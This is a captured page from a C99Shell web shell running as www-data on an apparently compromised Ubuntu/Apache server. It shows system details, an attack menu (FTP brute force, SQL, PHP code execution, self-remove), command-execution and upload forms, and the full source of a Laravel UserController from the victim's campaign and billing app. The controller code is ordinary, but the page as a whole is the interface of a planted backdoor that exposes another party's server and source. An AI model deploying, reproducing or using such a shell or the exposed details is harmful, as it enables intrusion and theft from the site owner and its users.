!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/cloud_campaign/app/Http/Controllers/   drwxr-xr-x
Free 13.3 GB of 57.97 GB (22.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UserController.php (24.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Http\Requests\UserRequest;
use 
App\Models\User;
use 
App\Models\Transaction;
use 
App\Models\Payment;
use 
App\Models\Campaign;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB//using simple qurey 
use Illuminate\Support\Facades\Hash;

class 
UserController extends Controller
{
    
/**
     * Display a listing of the users
     *
     * @param  \App\Models\User  $model
     * @return \Illuminate\View\View
     */

    
public function __construct()
    {
        
$this->middleware('auth');
    }
    public function 
index()
    {
        
$role=auth()->user()->role;
        
$parent_id=auth()->user()->id;
        if(
$role=="Super Admin"){
            
$userList User::where('role','!=',"Super Admin")->get();
        }
        else {
            
$userList User::where('role','!=',"Super Admin")->Where('role','!=',"Admin")->get();
        }
        
// $userList = User::all();
        
return view('users.index',['user'=> $userList]);
    }


    
//
    
public function addUser()
    {
        return 
view('users.addUser');
    }

      
/**
     * Update the profile
     *
     * @param  \App\Http\Requests\UserRequest  $request
     * @return \Illuminate\Http\RedirectResponse
     */
    
public function insertUser(UserRequest $req)
    {
        
$parent_id=auth()->user()->id;
        
$user = new User();
        
$user->name $req->name;
        
$user->email "test@email.com";
    
//     $user->password = $req->password;
            
$user->password Hash::make($req->password);
        
$user->phone $req->phone;
        
$user->role $req->role;
        
$user->parent_id $parent_id;
        
        
// if($req->role=="Select Role"){
        //     return back()->withStatus(__('Please Select a valid role.'));
        // }else{
            
$user->save();
            return 
back()->withStatus(__('User Added successfully.'));

        
// }
    
}
    public function 
addBalance($user_id,$add_balance,$add_amount,$add_method)
    {
        
        
$now_datedate('d/m/Y h:i:s a'time() + 6*3600);

        
$customer=User::find($user_id);
        
$cus_balance=$customer['balance']+$add_balance;
        
$cus_amount_due=$customer['amount_due']+$add_balance-$add_amount;
        
        
// Customer Balance Update
        
$customer->balance $cus_balance;
        
$customer->amount_due $cus_amount_due;
        
$customer->save();

        
// Reseller Balance Update
        
$reseller_id=auth()->user()->id;
        
$rese_role=auth()->user()->role;
        
// if($rese_role=="Super Admin" || $rese_role=="Admin")
        // {
        //     $reseller=User::find($reseller_id);
        //     $reseller->balance = 0;
        //     $reseller->save();
        // }
        // else
        // {
        // $reseller=User::find($reseller_id);
        // $reseller_balance=$reseller['balance']-$add_balance;
        // $reseller->balance = $reseller_balance;
        // $reseller->save();
        // }

        // add new transaction

        
if ($add_amount!=0) {
            
// balance transc
        
$transaction = new Transaction();
        
$transaction->user_id $user_id;
        
$transaction->user_name $customer['name'];
        
$transaction->phone $customer['phone'];
        
// $transaction->tx_date = $now_date;
        
$transaction->tx_type "Balance";
        
$transaction->amount $add_balance;
        
$transaction->save();
        
// Payment transac
        
$transaction = new Transaction();
        
$transaction->user_id $user_id;
        
$transaction->user_name $customer['name'];
        
$transaction->phone $customer['phone'];
        
// $transaction->tx_date = $now_date;
        
$transaction->tx_type "Payment";
        
$transaction->amount $add_amount;
        
$transaction->save();
        }
        else{
                        
// balance transc
        
$transaction = new Transaction();
        
$transaction->user_id $user_id;
        
$transaction->user_name $customer['name'];
        
$transaction->phone $customer['phone'];
        
// $transaction->tx_date = $now_date;
        
$transaction->tx_type "Balance";
        
$transaction->amount $add_balance;
        
$transaction->save();
        }



        return 
response()->json($customer);
    }

    public function 
PUBG()
    {
        return 
view('pubg');

    }
    public function 
getAll()
    {
        
$role=auth()->user()->role;
        
$parent_id=auth()->user()->id;
        
$balance_list Transaction::select("phone"DB::raw("sum(amount) as total_balance"))
                        ->
where('tx_type','Balance')
                        
// ->Where('tx_date', 'like', '%' . date('Y-m-d') . '%')
                        // ->orderBy('tx_date','desc')
                        // ->whereIn('user_id',$user_id)
                        
->groupBy('phone')
                        ->
get();
        
        
$Payment_list Transaction::select("phone"DB::raw("sum(amount) as total_payment"))
        ->
where('tx_type','Payment')

        ->
groupBy('phone')
        ->
get();
        
$bl_list=array();
        
$transaction_list=array();
        
            for(
$i=0;$i<count($balance_list);$i++)
            {
                 
$c=0;
                for (
$j=0$j <count($Payment_list) ; $j++) { 
                    if (
$balance_list[$i]['phone']==$Payment_list[$j]['phone']) {
                        
array_push($bl_list,$balance_list[$i]['phone']);
                        
array_push($bl_list,$balance_list[$i]['total_balance']);
                        
array_push($bl_list,$Payment_list[$j]['total_payment']);
                        
$total_due=$balance_list[$i]['total_balance']-$Payment_list[$j]['total_payment'];
                        
array_push($bl_list,$total_due);
                        
array_push($transaction_list,$bl_list);
                        unset(
$bl_list);
                        
$bl_list=array();
                        
$c=1;
                        break;
                    } else {
                        continue;
                    }
                }
                if (
$c==0) {
                    
array_push($bl_list,$balance_list[$i]['phone']);
                    
array_push($bl_list,$balance_list[$i]['total_balance']);
                    
array_push($bl_list,0);  //total payment
                    // $total_due=$balance_list[$i]['total_balance']-$Payment_list[$j]['total_payment'];
                    
array_push($bl_list,$balance_list[$i]['total_balance']);
                
array_push($transaction_list,$bl_list);
                unset(
$bl_list);
                
$bl_list=array();
                }
            }
        return 
view('reports.accounting',['transaction'=> $transaction_list]);
    }
    
    
// make payment
    
public function addPayment($phone,$add_amount,$add_method)
    {
        
        
$now_datedate('d/m/Y h:i:s a'time() + 6*3600);
        
$customer=User::where('phone',$phone)->get();
        
$cus_amount_due=$customer[0]['amount_due']-$add_amount;
        
        
        
$cus=User::find($customer[0]['id']);
        
$cus->amount_due=$cus_amount_due;
        
$cus->save();
        
// var_dump($phone);
        
        // User::where('phone',$phone)->update(['amount_due' => $cus_amount_due]);;
        
        // Payment transac
        
$transaction = new Transaction();
        
$transaction->user_id $customer[0]['id'];
        
$transaction->user_name $customer[0]['name'];
        
$transaction->phone $customer[0]['phone'];
        
// $transaction->tx_date = $now_date;
        
$transaction->tx_type "Payment";
        
$transaction->amount $add_amount;
        
$transaction->save();
        
        return 
response()->json($customer);
    }
    
// Search with role
    
public function filterRole($role)
    {
        
$parent_id=auth()->user()->id;
        
$reseller_role=auth()->user()->role;
        if (
$reseller_role=="Admin") {
            if (
$role=="All") {
                
$userList User::where('role','!=',"Admin")->get();
               }else{
                
$userList User::where('role','=',$role)->get();  
               }        
        }else{
                if (
$role=="All") {
                
$userList User::where('parent_id','=',$parent_id)->get();
               }else{
                
$userList User::where('parent_id','=',$parent_id)->where('role','=',$role)->get();  
               } 
        }
        

        
        
$user_id=array();
        for(
$i=0;$i<count($userList);$i++)
        {
          
array_push($user_id,$userList[$i]['id']);
        }
        
// var_dump($user_id);
        // $user=DB::select("select phone,sum(amount) from transactions where user_id in (select id from users where parent_id='$parent_id')group by phone");
        
$balance_list Transaction::select("phone"DB::raw("sum(amount) as total_balance"))
                        ->
where('tx_type','Balance')
                        ->
whereIn('user_id',$user_id)
                        ->
groupBy('phone')
                        ->
get();
        
        
$Payment_list Transaction::select("phone",DB::raw("sum(amount) as total_payment"))
        ->
where('tx_type','Payment')
        ->
whereIn('user_id',$user_id)
        ->
groupBy('phone')
        ->
get();
        
$bl_list=array();
        
$transaction_list=array();
        for(
$i=0;$i<count($balance_list);$i++)
        {
             
$c=0;
            for (
$j=0$j <count($Payment_list) ; $j++) { 
                if (
$balance_list[$i]['phone']==$Payment_list[$j]['phone']) {
                    
array_push($bl_list,$balance_list[$i]['phone']);
                    
array_push($bl_list,$balance_list[$i]['total_balance']);
                    
array_push($bl_list,$Payment_list[$j]['total_payment']);
                    
$total_due=$balance_list[$i]['total_balance']-$Payment_list[$j]['total_payment'];
                    
array_push($bl_list,$total_due);
                    
array_push($transaction_list,$bl_list);
                    unset(
$bl_list);
                    
$bl_list=array();
                    
$c=1;
                    break;
                } else {
                    continue;
                }
            }
            if (
$c==0) {
                
array_push($bl_list,$balance_list[$i]['phone']);
                
array_push($bl_list,$balance_list[$i]['total_balance']);
                
array_push($bl_list,0);  //total payment
                // $total_due=$balance_list[$i]['total_balance']-$Payment_list[$j]['total_payment'];
                
array_push($bl_list,$balance_list[$i]['total_balance']);
            
array_push($transaction_list,$bl_list);
            unset(
$bl_list);
            
$bl_list=array();
            }
        }
        return 
response()->json($transaction_list);

    }

    
// Filter by payment status
    
public function paymentStatus($status)
    {
        
$parent_id=auth()->user()->id;
        
$reseller_role=auth()->user()->role;
        if (
$reseller_role=="Admin") {
                
$userList User::where('role','!=',"Admin")->get();
        }else{
                
$userList User::where('parent_id','=',$parent_id)->get();
        }
        

        
        
$user_id=array();
        for(
$i=0;$i<count($userList);$i++)
        {
          
array_push($user_id,$userList[$i]['id']);
        }
        
// var_dump($user_id);
        // $user=DB::select("select phone,sum(amount) from transactions where user_id in (select id from users where parent_id='$parent_id')group by phone");
        
$balance_list Transaction::select("phone"DB::raw("sum(amount) as total_balance"))
                        ->
where('tx_type','Balance')
                        ->
whereIn('user_id',$user_id)
                        ->
groupBy('phone')
                        ->
get();
        
        
$Payment_list Transaction::select("phone",DB::raw("sum(amount) as total_payment"))
        ->
where('tx_type','Payment')
        ->
whereIn('user_id',$user_id)
        ->
groupBy('phone')
        ->
get();
        
$bl_list=array();
        
$transaction_list=array();

        
// All 
        
if ($status==="All") {
        for(
$i=0;$i<count($balance_list);$i++)
        {
             
$c=0;
            for (
$j=0$j <count($Payment_list) ; $j++) { 
                if (
$balance_list[$i]['phone']==$Payment_list[$j]['phone']) {
                    
array_push($bl_list,$balance_list[$i]['phone']);
                    
array_push($bl_list,$balance_list[$i]['total_balance']);
                    
array_push($bl_list,$Payment_list[$j]['total_payment']);
                    
$total_due=$balance_list[$i]['total_balance']-$Payment_list[$j]['total_payment'];
                    
array_push($bl_list,$total_due);
                    
array_push($transaction_list,$bl_list);
                    unset(
$bl_list);
                    
$bl_list=array();
                    
$c=1;
                    break;
                } else {
                    continue;
                }
            }
            if (
$c==0) {
                
array_push($bl_list,$balance_list[$i]['phone']);
                
array_push($bl_list,$balance_list[$i]['total_balance']);
                
array_push($bl_list,0);  //total payment
                // $total_due=$balance_list[$i]['total_balance']-$Payment_list[$j]['total_payment'];
                
array_push($bl_list,$balance_list[$i]['total_balance']);
            
array_push($transaction_list,$bl_list);
            unset(
$bl_list);
            
$bl_list=array();
            }
        }
    }
    
// Paid 
    
if ($status==="Paid") {
        if (
$reseller_role=="Admin") {
            
$Paidusers User::where('role','!=',"Admin")->where('amount_due','=',0)->get();
        }else{
                
$Paidusers User::where('parent_id','=',$parent_id)->where('amount_due','=',0)->get();
        }
        
$user_id=array();
        for(
$i=0;$i<count($Paidusers);$i++)
        {
          
array_push($user_id,$Paidusers[$i]['id']);
        }
        
$paid_list Transaction::select("phone"DB::raw("sum(amount) as total_amount"))
        ->
where('tx_type','Payment')
        ->
whereIn('user_id',$user_id)
        ->
groupBy('phone')
        ->
get();
        for (
$pa=0$pa <count($paid_list) ; $pa++) {
                
array_push($bl_list,$paid_list[$pa]['phone']);
                
array_push($bl_list,$paid_list[$pa]['total_amount']); //total transaction balance
                
array_push($bl_list,$paid_list[$pa]['total_amount']); //total paid amount
                // $total_due=$balance_list[$i]['total_balance']-$Payment_list[$j]['total_payment'];
                
array_push($bl_list,0); //total due amount
                
array_push($transaction_list,$bl_list);
                unset(
$bl_list);
                
$bl_list=array();
                
        }
    }
    
// all unpaid
    
else {
        if (
$reseller_role=="Admin") {
            
$dueUsers User::where('role','!=',"Admin")->where('amount_due','>',0)->get();
        }else{
                
$dueUsers User::where('parent_id','=',$parent_id)->where('amount_due','>',0)->get();
        }
        
$user_id=array();
        for(
$i=0;$i<count($dueUsers);$i++)
        {
          
array_push($user_id,$dueUsers[$i]['id']);
        }
        
$balance_list Transaction::select("phone"DB::raw("sum(amount) as total_balance"))
        ->
where('tx_type','Balance')
        ->
whereIn('user_id',$user_id)
        ->
groupBy('phone')
        ->
get();

        
$Payment_list Transaction::select("phone",DB::raw("sum(amount) as total_payment"))
        ->
where('tx_type','Payment')
        ->
whereIn('user_id',$user_id)
        ->
groupBy('phone')
        ->
get();
        
$bl_list=array();
        
$transaction_list=array();
        for(
$i=0;$i<count($balance_list);$i++)
        {
             
$c=0;
            for (
$j=0$j <count($Payment_list) ; $j++) { 
                if (
$balance_list[$i]['phone']==$Payment_list[$j]['phone']) {
                    
array_push($bl_list,$balance_list[$i]['phone']);
                    
array_push($bl_list,$balance_list[$i]['total_balance']);
                    
array_push($bl_list,$Payment_list[$j]['total_payment']);
                    
$total_due=$balance_list[$i]['total_balance']-$Payment_list[$j]['total_payment'];
                    
array_push($bl_list,$total_due);
                    
array_push($transaction_list,$bl_list);
                    unset(
$bl_list);
                    
$bl_list=array();
                    
$c=1;
                    break;
                } else {
                    continue;
                }
            }
            if (
$c==0) {
                
array_push($bl_list,$balance_list[$i]['phone']);
                
array_push($bl_list,$balance_list[$i]['total_balance']);
                
array_push($bl_list,0);  //total payment
                // $total_due=$balance_list[$i]['total_balance']-$Payment_list[$j]['total_payment'];
                
array_push($bl_list,$balance_list[$i]['total_balance']);
            
array_push($transaction_list,$bl_list);
            unset(
$bl_list);
            
$bl_list=array();
            }
        }
    }
    return 
response()->json($transaction_list);

    



    }
    
    public function 
filterDate($from_date,$to_date)
    {
        
$parent_id=auth()->user()->id;
        
$reseller_role=auth()->user()->role;
        if (
$reseller_role=="Admin") {
                
$userList User::where('role','!=',"Admin")->get();
               
        }
        else{
            
$userList User::where('parent_id','=',$parent_id)->get();  
        }
        
        
$user_id=array();
        for(
$i=0;$i<count($userList);$i++)
        {
          
array_push($user_id,$userList[$i]['id']);
        }
        
$from_date=$from_date.'%';
        
$to_date=$to_date.'%';
        
// var_dump($user_id);
        // $user=DB::select("select phone,sum(amount) from transactions where user_id in (select id from users where parent_id='$parent_id')group by phone");
        
$balance_list Transaction::select("phone"DB::raw("sum(amount) as total_balance"))
                        ->
where('tx_type','Balance')
                        ->
whereIn('user_id',$user_id)
                        ->
whereDate('tx_date''>='$from_date)
                        ->
whereDate('tx_date''<='$to_date)
                        
// ->whereBetween(date('tx_date'), [$from_date, $to_date])
                        
->groupBy('phone')
                        ->
get();
        
        
$Payment_list Transaction::select("phone",DB::raw("sum(amount) as total_payment"))
        ->
where('tx_type','Payment')
        ->
whereIn('user_id',$user_id)
        
// ->whereBetween(date('tx_date'), [$from_date, $to_date])
        
->whereDate('tx_date''>='$from_date)
        ->
whereDate('tx_date''<='$to_date)
        ->
groupBy('phone')
        ->
get();
        
$bl_list=array();
        
$transaction_list=array();

        for(
$i=0;$i<count($balance_list);$i++)
        {
             
$c=0;
            for (
$j=0$j <count($Payment_list) ; $j++) { 
                if (
$balance_list[$i]['phone']==$Payment_list[$j]['phone']) {
                    
array_push($bl_list,$balance_list[$i]['phone']);
                    
array_push($bl_list,$balance_list[$i]['total_balance']);
                    
array_push($bl_list,$Payment_list[$j]['total_payment']);
                    
$total_due=$balance_list[$i]['total_balance']-$Payment_list[$j]['total_payment'];
                    
array_push($bl_list,$total_due);
                    
array_push($transaction_list,$bl_list);
                    unset(
$bl_list);
                    
$bl_list=array();
                    
$c=1;
                    break;
                }
                else{
                    continue;
                }
            }
            if (
$c==0) {
                
array_push($bl_list,$balance_list[$i]['phone']);
                
array_push($bl_list,$balance_list[$i]['total_balance']);
                
array_push($bl_list,0);  //total payment
                // $total_due=$balance_list[$i]['total_balance']-$Payment_list[$j]['total_payment'];
                
array_push($bl_list,$balance_list[$i]['total_balance']); //due amount
                
array_push($transaction_list,$bl_list);
                unset(
$bl_list);
                
$bl_list=array();
            }
        }
        
// elseif ($j==count($Payment_list)-1) {
            
$pl_list=array();
            for (
$k=0$k <count($Payment_list) ; $k++) { 
                for (
$l=0$l <count($balance_list) ; $l++) { 
            
// only payment 
                    
if (in_array($Payment_list[$k]['phone'],$transaction_list[$k],true)) {
                        continue; 
                    }
                    else{
                    
                        
array_push($pl_list,$Payment_list[$k]['phone']);
                        
array_push($pl_list,0);
                        
// array_push($bl_list,0);
                        
array_push($pl_list,$Payment_list[$k]['total_payment']);
                        
// $total_due=$balance_list[$i]['total_balance']-$Payment_list[$j]['total_payment'];
                        
array_push($pl_list,0);
                        
array_push($transaction_list,$pl_list);
                        unset(
$pl_list);
                        
$pl_list=array();
                        
$c=1;
                        break;  
                    }
                }
            }
        
// }

        
return response()->json($transaction_list);
    }
    public function 
getAllTransaction()
    {
        
$pid_list Campaign::select('pid')->where('pid','!=','')->groupBy('pid')->get();   
        
$campaignid_list Campaign::select('campaignid')->where('campaignid','!=','')->groupBy('campaignid')->get();   
        
$zoneid_list Campaign::select('zoneid')->where('zoneid','!=','')->groupBy('zoneid')->get();   
        
$transaction_list Campaign::limit(100)->get();   
        
// var_dump($pid_list[0]);                   
        // return view('users.index',['user'=> $userList]);
        
return view('reports.transaction',['transaction'=> $transaction_list,'pid_list'=>$pid_list,'campaignid_list'=>$campaignid_list,'zoneid_list'=>$zoneid_list]);

    }
    public function 
filterTransaction(Request $request)
    {
        
// $from_date=$req->input('from_date');
        // var_dump($req->input('from_date'));
        
$from_date $request->input('from_date');
        
$to_date =$request->input('to_date');
        
$vmsisdn =$request->input('vmsisdn');
        
$hook =$request->input('hook');
        
$pid $request->input('pid');
        
$campaign_id =$request->input('campaign_id');
        
$zone_id =$request->input('zone_id');
        
$msisdn =$request->input('msisdn');
        
$message =$request->input('message');
        
// $vmsisdn_con="=";
        // $hook_con="=";
        // $pid_con="=";
        // $campaign_con="=";
        // $zone_con="=";
        // if ($hook==="all") {
        //     $hook="0";
        //     $hook_con="!=";
        // }
        // if ($pid==="all") {
        //     $pid="0";
        //     $pid_con="!=";
        // }
        // if ($campaign_id==="all") {
        //     $campaign_id="0";
        //     $campaign_con="!=";
        // }
        // if ($zone_id==="all") {
        //     $zone_id="0";
        //     $zone_con="!=";
        // }
        // if ($vmsisdn=="") {
        //     $vmsisdn="0";
        //     $vmsisdn_con="!=";
        // }
        
$query Campaign::query();
        if (
$hook!=="all") {
            
$query->where('hooked',$hook);
        }
        if (
$pid!=="all") {
            
$query->where('pid',$pid);
        }
        if (
$campaign_id!=="all") {
            
$query->where('campaignid',$campaign_id);
        }
        if (
$zone_id!=="all") {
            
$query->where('zoneid',$zone_id);
        }
        if (
$vmsisdn!="") {
            
$query->where('vmsisdn',$vmsisdn);
        }
        if (
$message !=="all") {
            
$query->where('message',$message);
        }
        if (
$msisdn =="yes") {
            
$query->where('vmsisdn','>',0);
        }
        if (
$msisdn =="no") {
            
$query->whereNull('vmsisdn');
            
// $query->Where('vmsisdn','Not Like','%0%');
        
}
        
// ->where('zoneid',$zone_con,$zone_id)
        // ->where('campaignid',$campaign_con,$campaign_id)
        // ->where('pid',$pid_con,$pid)
        // ->where('vmsisdn',$vmsisdn_con,$vmsisdn)
        
       
        
$transaction_list$query->whereDate('time''>='$from_date)->whereDate('time''<='$to_date)->get();

        return 
response()->json($transaction_list);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0239 ]--